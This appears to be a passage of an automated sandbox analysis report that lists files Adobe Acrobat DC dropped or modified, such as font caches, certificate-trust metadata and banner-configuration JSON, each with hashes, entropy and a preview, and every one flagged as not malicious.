Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklusytfllXlE/HT8kJh/tNNX8RolJuRdxLlGB9lQRYwpDdt:kK3syeT8mRNMa8RdWBwRd
MD5:	8D18574183D069AA3301D4F0E8AC33DF
SHA1:	751EEFE137AD845FE3975690F9FE9D4961246767
SHA-256:	A0504B34733D726EE26B925E7D2350974EE24F17A23D46E1D43C43F6DC29B47A
SHA-512:	0827A62145BCE116B1B7B8CF052A409CC2BDD624D654CBF981998700EE17E52517C1C88DBFCF332C91BE0CF788EC2531710BD6120907DC94E2FC9B11EB65A09D
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....~...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKNvSitL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:VS2iDImsLNkPlE99SNxAhUe/3
MD5:	9731CAEE1C79B2796AC135D881E81F65
SHA1:	8B834305F305F5432F1A3EF3966F1B3642B4A923
SHA-256:	138F4DDE9AC4FDD2B0830BA3EF7C2C8D87AE81926B5CAC9F2E5A9217C21375ED
SHA-512:	C69716E6CD1E5AC218D0EC33E4630B3BE27D611CA5A70FA8DE1FCCB7848289DBD63C3FF351008D8D98441B911219CC0B0B2ADF2956602F647551ED28C24EB33F
Malicious:	false
Preview:	p...... ........._..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7544

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7544

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.332792610862292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJM3g98kUwPeUkwRe9:YvXKXII8HH2vR/ZwHAxGMbLUkee9
MD5:	46022D629E69BDDF8A7710C7404D6F82
SHA1:	1BEC7BC22AB58A3449732D30B9441B40477BF837
SHA-256:	03299FD6A3AC087491859872909DCCAF9D162CD5853A26F7EB4680BF8F11DDEA
SHA-512:	523F26588D8CBAA57C6D7870AF1A09ECF7F566A315AE4B340B436769FBD1AFF5EA12A583A2A98B221B9055240FB742A0B85CA4F918A278AA2B9F189F448C8936
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.26951217508142
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfBoTfXpnrPeUkwRe9:YvXKXII8HH2vR/ZwHAxGWTfXcUkee9
MD5:	F8DE77F6ABB6EE41753452CE4D2D56D8
SHA1:	21FAA8AAB692763CE856F896FAA03C3BC9460B4D
SHA-256:	0F6A34859167CB0300175792A105896903CDCD58EF6AF57F57984F9CCD4E7D75
SHA-512:	E6A1081CF92C0439931A9BF354579DA65C543BF591B2EC0C9A04B13C3C0F11175802B91243E1C01757DE0FBA3A019E25B13445B2B2F1D8AB3F79F396FF9233DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.248709923050624
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfBD2G6UpnrPeUkwRe9:YvXKXII8HH2vR/ZwHAxGR22cUkee9
MD5:	D5BCEB7A2EBA2539725F4DE242831452
SHA1:	A15E59E017F9CC0E63E47FDFB4CD396ADE812E14
SHA-256:	6FB62F10169CBC1A3E74ABE53BDE63942F06EF0AFD1075EE84C62E129FEEFBF1
SHA-512:	F01FEFE2EC2B05EB3039C1D895A18EF6B5F28E4BD2F12E5DB91559F6CCB16F3B35488016D957444A610CA32A019CED2C7844A8B2417D453879831F253025C379
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.308668498619696
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfPmwrPeUkwRe9:YvXKXII8HH2vR/ZwHAxGH56Ukee9
MD5:	4A43143276119F493DE0F74A72D80B36
SHA1:	5F34DB5B366B344D2FA7E76D8717FA1569ED1F1F
SHA-256:	3D6DA32C4C73989A969D424422949ADB24D85A6BB6ED90C16B1A492F1DD90BC3
SHA-512:	FAD5C00BEB5FE278C896E43EBDAEAC54675EE5221583F2169C7B3C2EBE003FEFE4DE71B296563167C3C33436794FD84A2963A3B7B3170E9C644517CEF5834C60
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693693269795812
Encrypted:	false
SSDEEP:	24:Yv6X18HWJhipLgE9cQx8LennAvzBvkn0RCmK8czOCCSfZ:YvtHWJhihgy6SAFv5Ah8cv/B
MD5:	154EF2C30212F766586D388E6FBC42CA
SHA1:	AD0BAE2C4E70FD9635D18639F279A791EDFB2F76
SHA-256:	169A16469A821C274601AA43EBE5228C783E85C0802408CD1B6E5700C1F2050C
SHA-512:	94F17A3035D54F23BD23943AE4DEF0801046EC8E198BF6C4AE2D3901635690E8ED72368D29CAB737A91B33AD4138661B8C21B2AA2725980834FDACDC7165FFD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.259157201077078
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJf8dPeUkwRe9:YvXKXII8HH2vR/ZwHAxGU8Ukee9
MD5:	C4758CB73C7AEA22CB85B3B8CE90AF07
SHA1:	45404E91CBF6A0D4B790AF04307D22202FE7DED7
SHA-256:	8E5FF97B5C6E896316529210DF31811AE9819EAB81623E2D15705D9E0CB21260
SHA-512:	A7FD703D03B6C1C169F8DDCF8C0F7542F85C417BCF622CFD512A5D4731844B5E7E753F8FEA8859530CFEDB5C03839CB89513342BED74D38212BE2D245DDDEA9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2585465859111125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfQ1rPeUkwRe9:YvXKXII8HH2vR/ZwHAxGY16Ukee9
MD5:	8EBF439D4A8974F947D9C6342701224A
SHA1:	9673B11B0DFBE8F2F1860DE43FEE4DF48024C373
SHA-256:	46EBAA93793DBDF660160542F7C5BAAD356720BA5B759266139519D536865111
SHA-512:	14F6868880D9BCCDD5FC7F23C70F77A3B0FD8F0A1980BED83E8440D37CCA4BD176FF283C74E32B4A2B9FC80A9C4A833DACFAEC25DD174D7C3265364AF99890FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.273574093079279
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfFldPeUkwRe9:YvXKXII8HH2vR/ZwHAxGz8Ukee9
MD5:	72276C5EF443B4256256C3EFE572095A
SHA1:	D515EF994D9A0111B201787DE22803534C918268
SHA-256:	E39E1894D9535B09F6700C1711770D5EC13F0A76F78C9BD60BCE26678E43509A
SHA-512:	EC07D4D31773269ACF7D1784DBF7909989F17ABE978E7202CC1BFD3EA8F3542425AB37693E510799D872AE408B7DBFFABC28268B081A9B3A0A30002F495128E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.286989184084261
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfzdPeUkwRe9:YvXKXII8HH2vR/ZwHAxGb8Ukee9
MD5:	4F7BB72F6369CA7207705E600CBE1372
SHA1:	F19D84E397EF5BA240DE39BB2676C2AA1FEC0CD3
SHA-256:	00AFE16B478D91CD5089CA0E73920916B7531521AFF18E8CCDF0A6167E5E54C8
SHA-512:	3FF06A8087154D205166127682DC5546A5AF3383ECDFB531C756554775B94BC102F907E8DA6F812B73F2A62E8DE7C4745D3E823766FC3CDE6E97F42A8B89F032
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.267238270746373
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfYdPeUkwRe9:YvXKXII8HH2vR/ZwHAxGg8Ukee9
MD5:	31E06B8600B6C40045652127DC3CA93D
SHA1:	4C19902ECD31B3EEA525E9D32D6544FFA1F5543D
SHA-256:	DB8F0212D7BB2212B4270E4BDE763F032028D9F3B05C052191E143B1B86DD453
SHA-512:	069EA929C9EA38637DF87879E35F725661F9AF4A6A2F3A22BA834088EF9D11E9FB711736C17CD6AC0EAC182F1BF93D99D9A2B1E8E4AF5A534B0C5E985251C12A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2527118525612595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJf+dPeUkwRe9:YvXKXII8HH2vR/ZwHAxG28Ukee9
MD5:	6F86BB77A8D7DFD78DC99121AF659EDC
SHA1:	00CEA573AB516D539E2E365C572F00B90559F430
SHA-256:	7BD495D0D8ACF81CEB2418CF2C7497193FB17A54D92DBB22237FF0AF28D0075C
SHA-512:	45AA2A66E3DB5E0C66D42E787E66AFDB54C18E2109ABDFA1EB2D7320EE7F1D108DF15E2B6BFD4314CDB5452AB55D34BF93470BDCB223CCC381822AAF6DFF7FD7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d1e14a50-b7af-43af-9627-484081494774","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736734318161,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.251010534944316
Encrypted:	false
SSDEEP:	6:YEQXJ2HXIIEXHH2vB3/dVlPIHAR0Ymk2xoAvJfbPtdPeUkwRe9:YvXKXII8HH2vR/ZwHAxGDV8Ukee9
MD5:	F31176F596D22F991E2B3751BCDA8B7C
